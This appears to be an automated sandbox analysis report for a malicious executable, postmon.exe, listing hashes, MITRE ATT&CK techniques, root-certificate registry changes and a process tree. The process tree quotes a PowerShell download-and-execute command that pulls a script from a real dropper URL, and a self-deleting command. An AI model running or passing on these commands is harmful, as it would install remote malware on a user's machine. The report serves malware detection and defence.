69a695a22c366f9ccdbcb42e6654834bbecef41cda7f9cd2d81d21912fcd0a1c

General

Target

postmon.exe
Size

382KB
MD5

f7d6bd06f96439787aa170983ab55c3e
SHA1

ed74e29748c586137a3be7c6a519687fb64767bc
SHA256

69a695a22c366f9ccdbcb42e6654834bbecef41cda7f9cd2d81d21912fcd0a1c
SHA512

24d6d2d6d65e5980bd328ac1b17ff38faab80d2a8f302dde0c6cea4d756f293c1e811c3cc260ec3377628c0ff6d0e724e1e1e881135505ce2d2a9f9a21c1d49b
SSDEEP

6144:q0FPy3bQeuMyxK2hGFgAObpOXFVrZLqaZ3A8ihSxfw+o7Rpybm:qV3GdGFgliX5+JUq+eAm

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://sungeomatics.com/css/colors/debug2.ps1

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
13	4856	powershell.exe
24	4856	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3259792829-1422303781-2047321929-1000\Control Panel\International\Geo\Nation	postmon.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies system certificate store 2 TTPs 2 IoCs

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	postmon.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	postmon.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4984	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4856	powershell.exe
4856	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4856	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3436 wrote to memory of 700	3436	postmon.exe	80
PID 3436 wrote to memory of 700	3436	postmon.exe	80
PID 700 wrote to memory of 4856	700	cmd.exe	82
PID 700 wrote to memory of 4856	700	cmd.exe	82
PID 3436 wrote to memory of 4980	3436	postmon.exe	83
PID 3436 wrote to memory of 4980	3436	postmon.exe	83
PID 3436 wrote to memory of 4980	3436	postmon.exe	83
PID 4980 wrote to memory of 4984	4980	cmd.exe	87
PID 4980 wrote to memory of 4984	4980	cmd.exe	87
PID 4980 wrote to memory of 4984	4980	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\postmon.exe
"C:\Users\Admin\AppData\Local\Temp\postmon.exe"
1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3436
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://sungeomatics.com/css/colors/debug2.ps1')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command IEX(New-Object Net.Webclient).DownloadString('https://sungeomatics.com/css/colors/debug2.ps1')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\postmon.exe" >> NUL
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:4984

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4f3b5d3r.004.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4856-138-0x0000022DDF140000-0x0000022DDF162000-memory.dmp

Filesize
136KB

Download
memory/4856-143-0x0000022DDCF90000-0x0000022DDCFA0000-memory.dmp

Filesize
64KB

Download
memory/4856-144-0x0000022DDCF90000-0x0000022DDCFA0000-memory.dmp

Filesize
64KB

Download
memory/4856-145-0x0000022DDCF90000-0x0000022DDCFA0000-memory.dmp

Filesize
64KB

Download
memory/4856-146-0x0000022DDCF90000-0x0000022DDCFA0000-memory.dmp

Filesize
64KB

Download
memory/4856-147-0x0000022DDCF90000-0x0000022DDCFA0000-memory.dmp

Filesize
64KB

Download
memory/4856-148-0x0000022DDCF90000-0x0000022DDCFA0000-memory.dmp

Filesize
64KB

Download

Analysis

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